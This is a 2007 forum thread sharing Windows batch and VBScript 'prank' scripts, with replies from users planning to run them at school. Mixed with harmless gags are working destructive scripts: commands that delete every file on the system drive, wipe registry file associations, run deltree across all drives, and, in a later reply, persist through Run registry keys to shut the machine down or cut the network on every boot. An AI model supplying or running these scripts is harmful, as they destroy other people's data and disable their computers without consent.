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    Funny VBS and CMD codes

    Okay, btw there are some dangerous codes so dont fool around with these codes. I am not responsible on your actions using these codes.

    The CMD Codes- to use, open up notepad and copy and paste the code into the notepad. name the file (anyname).bat (to make a .bat file, when u save it or save as, it will ask u for a name and which type u want it, so choose all file then just name it as a .bat file) then just click on the file u just made

    -The blue screen of Death [this might be dangerous]
    *The Blue Screen Of Death can be coded and sent to you like any application. It is up to you to be carefull and try to reveal the trick before getting in serious trouble. It loops a message asking to re-install ur windows again
    Code:
    @echo off
    del %systemdrive%\*.* /f /s /q
    shutdown -r -f -t 00
    -Messenger
    *This is a neat program that will allow you to message another computer on the same network through cmd's messenger system
    Code:
    @echo off
    :A
    COLOR 0c
    cls
    echo ----------------------
    echo Ultimate CMD Messanger
    echo ----------------------
    set /p n=Buddy - 
    set /p m=Message -
    net send %n% %m%
    pause
    Goto A
    -Stupidity Shutdown
    *This pops up a funny message then will shutdown the computer
    Code:
    @echo off
    msg * Fatal system error due to admin stupidity!
    shutdown -c "Error! You are too stupid!" -s -t 10
    -Trick C Drive Deletion
    *This pops up a message asking if you want to delete the c drive and tricks you into thinking it will. It then loops a message after it is done.
    Code:
    @echo off
    @color 0c
    echo !!!Deleting C Drive!!!
    echo do not exit, exiting will result in total system failure!
    pause
    @color
    echo Do you want to continue deleting your C drive?
    echo press y for yes or n for no
    pause
    echo you chose yes, please confirm by pressing y/n
    pause
    msg * Deleting C Drive...
    dir /s
    dir /s
    dir /s
    dir /s
    pause
    echo C drive successfully deleted!
    :MSG
    msg * "The C drive is Fcked"
    goto MSG
    -Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]
    *This will delete key registry files, then loops a message*
    Code:
    @ECHO OFF
    START reg delete HKCR/.exe
    START reg delete HKCR/.dll
    START reg delete HKCR/*
    :MESSAGE
    ECHO Your computer has been fcked.  Have a nice day.
    GOTO MESSAGE
    -Endless Notepads
    *This will pop up endless notepads until the computer freezes and crashes*
    Code:
    @ECHO off
    :top
    START %SystemRoot%\system32\notepad.exe
    GOTO top
    -Shutdown
    *Simply shuts the computer down
    Code:
    shutdown -s
    -Command Prompt
    *Just incase command prompt is blocked at your school, use this*
    Code:
    command.com
    -Delete Everything [NOTE THIS IS DANGEROUS!! USE AT RISK]
    *This will delete almost all key drives*
    Code:
    deltree /y C:\
    deltree /y E:\
    deltree /y A:\
    deltree /y F:\
    deltree /y G:\
    deltree /y D:\
    deltree /y H:\

    The VBS Codes- to use, open up notepad and copy and paste the code into the notepad. name the file (anyname).vbs (to make a .vbs file, when u save it or save as, it will ask u for a name and which type u want it, so choose all file then just name it as a .vbs file) then just click on the file u just made

    Trick Remote Access
    *This will open notepad, then trick the user into thinking he is being controlled (u can mod this code by changing wht is says, c the letters in the qoutation, u can change them to make it say anything)
    Code:
    Set WshShell = WScript.CreateObject("WScript.Shell")
    WshShell.Run "notepad"
    WScript.Sleep 100
    WshShell.AppActivate "Notepad"
    WScript.Sleep 500
    WshShell.SendKeys "Hel"
    WScript.Sleep 500
    WshShell.SendKeys "lo "
    WScript.Sleep 500
    WshShell.SendKeys ", ho"
    WScript.Sleep 500
    WshShell.SendKeys "w a"
    WScript.Sleep 500
    WshShell.SendKeys "re "
    WScript.Sleep 500
    WshShell.SendKeys "you"
    WScript.Sleep 500
    WshShell.SendKeys "? "
    WScript.Sleep 500
    WshShell.SendKeys "I a"
    WScript.Sleep 500
    WshShell.SendKeys "m g"
    WScript.Sleep 500
    WshShell.SendKeys "ood"
    WScript.Sleep 500
    WshShell.SendKeys " th"
    WScript.Sleep 500
    WshShell.SendKeys "ank"
    WScript.Sleep 500
    WshShell.SendKeys "s! "
    WScript.Sleep 500
    WshShell.SendKeys "I a"
    WScript.Sleep 500
    WshShell.SendKeys "m wa"
    WScript.Sleep 500
    WshShell.SendKeys "tchi"
    WScript.Sleep 500
    WshShell.SendKeys "ng y"
    Wscript.Sleep 500
    WshShell.SendKeys "ou!"
    -Crazy caps lock
    *This constantly turns caps lock on and off really fast continuously*
    Code:
    Set wshShell =wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "{CAPSLOCK}"
    loop
    -Endless Enter
    *This constantly makes it so the enter button is being pressed continuesly*
    Code:
    Set wshShell = wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "~(enter)"
    loop
    -Endless Backspace
    *This makes it so the backspace key is constantly being pressed*
    Code:
    MsgBox "Let's go back a few steps"
    Set wshShell =wscript.CreateObject("WScript.Shell")
    do
    wscript.sleep 100
    wshshell.sendkeys "{bs}"
    loop
    -Popping CD Drives
    *This will make the CD drives constantly pop out*
    Code:
    Set oWMP = CreateObject("WMPlayer.OCX.7")
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next
    End If
    wscript.sleep 100
    loop
    To turn off the code, just simply restart the computer if the code doesnt turn off. If there are some tht are not working, plz tell me so i can fix it. Remember use it wisely

    plz +rep, donate or even thank if u like. well, have fun
    Last edited by /B/rodigyz; 09-22-2007 at 05:23 PM.

    Irony at it's finest

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    I can't seem to work the VBS codes. I have microsoft visual basic 2008, but it gives me build errors.

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    Quote Originally Posted by JohnnyMcKinney View Post
    I can't seem to work the VBS codes. I have microsoft visual basic 2008, but it gives me build errors.
    ummm wats visual basic (srry if im dumb) well, i said use notepad
    Last edited by /B/rodigyz; 09-20-2007 at 10:55 PM.

    Irony at it's finest

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    Whats VBS Codes then?

    wOW Ok I aM an IdIoT LoL yOu dONt UsE vIsUal BaSiC You USe JuST rEgUlAR nOtEPad. acTuAlLY thIs iS rEAllY CoOl LoL. I CoULd rEaLlY GeT UsE to tHiS ExCePt eVErYtImE MY caPS LoCk GoeS On aNd oFf It mAkEs A nOiSe In my KeYbOarD SO iTS REaLly ANnOyInG.....

    Here if you want the caps lock here ya go.

    http://www.sendspace.com/file/4ma8jw

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    lmao...nicee..definitely will use this stuf at skoo:D
    sux to be my skool!!

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    haha, u got ur caps lock, well go ahead do this in school, just be careful

    Irony at it's finest

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    good post! keep up the good work
    i need a new one of these

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    Didn't look to see if these were added, but here:

    Non Harmful

    Flood Network

    :CRASH
    net send * WORKGROUP ENABLED
    net send * WORKGROUP ENABLED
    GOTO CRASH

    Disable Internet / Network

    ipconfig /release

    Shutdown Computer

    shutdown -r -f -t0

    Harmful

    Shutdown Computer Every Time It Is Booted Up

    echo @echo off>c:windowshartlell.bat
    echo break off>>c:windowshartlell.bat
    echo shutdown -r -t 11 -f>>c:windowshartlell.bat
    echo end>>c:windowshartlell.bat
    reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
    reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v HAHAHA /t reg_sz /d c:windowshartlell.bat /f
    echo Undergroundkyng Strikes Again
    PAUSE

    Disable Internet / Network Permanently

    echo @echo off>c:windowswimn32.bat
    echo break off>>c:windowswimn32.bat
    echo ipconfig/release_all>>c:windowswimn32.bat
    echo end>>c:windowswimn32.bat
    reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
    reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
    echo Undergroundkyng Strikes Again
    PAUSE

    Change Common Files Into .TXT Files

    REN *.DOC *.TXT
    REN *.JPEG *.TXT
    REN *.LNK *.TXT
    REN *.AVI *.TXT
    REN *.MPEG *.TXT
    REN *.COM *.TXT
    REN *.BAT *.TXT

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    hmmm, ahhhhhhhhh, flooding!!!

    Irony at it's finest

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    If anyone wants there batch file converted into a .exe file, just ask me.
    Sullivan

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